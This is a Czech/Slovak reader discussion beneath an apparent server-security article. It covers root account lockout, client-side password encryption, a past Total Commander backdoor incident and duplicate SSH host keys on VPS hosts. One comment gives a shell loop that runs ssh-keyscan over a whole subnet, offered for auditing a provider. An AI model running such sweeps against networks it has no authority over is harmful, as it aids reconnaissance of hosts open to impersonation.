2) v podstatě děláš z jména druhé heslo resp. část hesla, což je nesmysl. Heslo by mělo být dostatečně silné a pak je jedno, že se root jmenuje root. Nebo myslíš, že když ho přejmenuješ třeba na „spravce“, je v pořádku mít slabší heslo?

tomo

Nie netvrdim ze login ma byt armorom pre passwd, len tvrdim ze sa mi spi lepsie ked bude utocnik riesit bruteforce attack na zablokovany root account. Po dalsie root account podla mna musi mat za kazdych okolnosti dobre heslo.

Samozrejme ze keby som siel do hlbky a nemal linux/ svoj servrik viac menej pre zabavu tak by som sa prihlasoval cez ssh kluce + heslo. To by podla mna mala byt bezna prax – tak nejako ma to ucili ked som bol mladsi :)

Jenda

Pokud rootovi nastavíš jako heslo původní_heslo_ro­ota+uživatel_správ­ce, bude to úplně stejné.

Sob

Pro upresneni, TC ma uz pres dva roky podporu pro master heslo a skutecny sifrovani hesel. Takze kdo si nechce nechat ukrast hesla kazdym, kdo se dostane k jeho ini souboru, ma moznost.

Heron

Přijde mi celkem úsměvné, řešit šifrování hesla někde na klientovi, když potom data, včetně přihlašovacích údajů, lítají internetem nešifrovaná.

Jinak díky za připomenutí.

Sob

Ale to je opet volba kazdyho. Stejne jako nemusim pouzit bezpecny ukladani hesel v TC, tak nemusim pouzivat ani FTP s SSL. Ale pokud chci, tak ta moznost existuje.

Jenda

Mně zase přijde úsměvné řešit nějaké šifrování hesla na klientovi s backdoorem :).

Sob

A kde ze se skryva jakej backdoor?

Jenda

Kauza TC, která proběhla zhruba před rokem, spočívala v tom, že měl webmaster děravý počítač. Dírou se mu tam natáhl backdoor a ten se potom nahrával na weby, které byly uložené v TC.

Michal

To jsem videl na vlastni oci, prepisoval htaccess

patrik.sima

Takových článku více!

Jinak nevím jak u vás, ale mě to spolehlivě vyřadilo i lighttpd.

dodofix

pekne citania, vdaka

v6ak

Dodá’m poznámku o nechtěně sdílených SSH klíčích, byť se to týká spíše nekvalitních VPS: http://www.soom.cz/index.php?name=articles/show&aid=556

Josef Liška

+1

jen bych dodal že místo forknutí x ssh procesů by bylo možná čistější použít ssh-keyscan, např. takto:

for i in `seq 2 252`; do ssh-keyscan -T 1 -t rsa AA.BB.CC.$i; done > res

Ve Virtualmasteru je přegenerování ssh klíče součástí firstboot skriptu, takže by se to stávat nemělo. Většina duplicit, kterou jsem odhalil tímto postupem je daná tím, že má jeden stroj skutečně více IP. Našel jsem ale i pár strojů se skutečně duplicitními klíči, patrně vytvořených z chybné šablony.

v6ak

Jasně, já se s tou prasárnou vypořádal a ve článku jsem byl na tomto místě záměrně spíše stručnější. (Původní varianta byla na tomto místě podrobnější.)

Ale i tak díky, příště to asi použiju.

teekex

+1
pekny clanek s konkretnimi pripady a ne jen s teoretickou omackou, vice takovych :)

Martin Och

Tahle adresa neexistuje:
# wget http://mysqltunerl.pl
nastesti je preklep evidentni…

Martin Malý

Díky za upozornění, opraveno.

Jan Prachař

Text odkazu je správně, ale odkaz pořád špatně.

Jakub Vrána

Aktuální verzi Admineru lze stáhnout z http://www.adminer.org/latest.php. Adresa uvedená v článku stáhne bohužel jen stránku s informacemi pro stažení.

Enum a statická analýza kódu

Mám jednu univerzální radu pro začínající programátorty. V učení sice neexistují rychlé zkratky, ovšem tuhle radu můžete snadno začít používat a zrychlit tak tempo učení. Tou tajemnou ingrediencí je statická analýza kódu. Ukážeme si to na příkladu enum.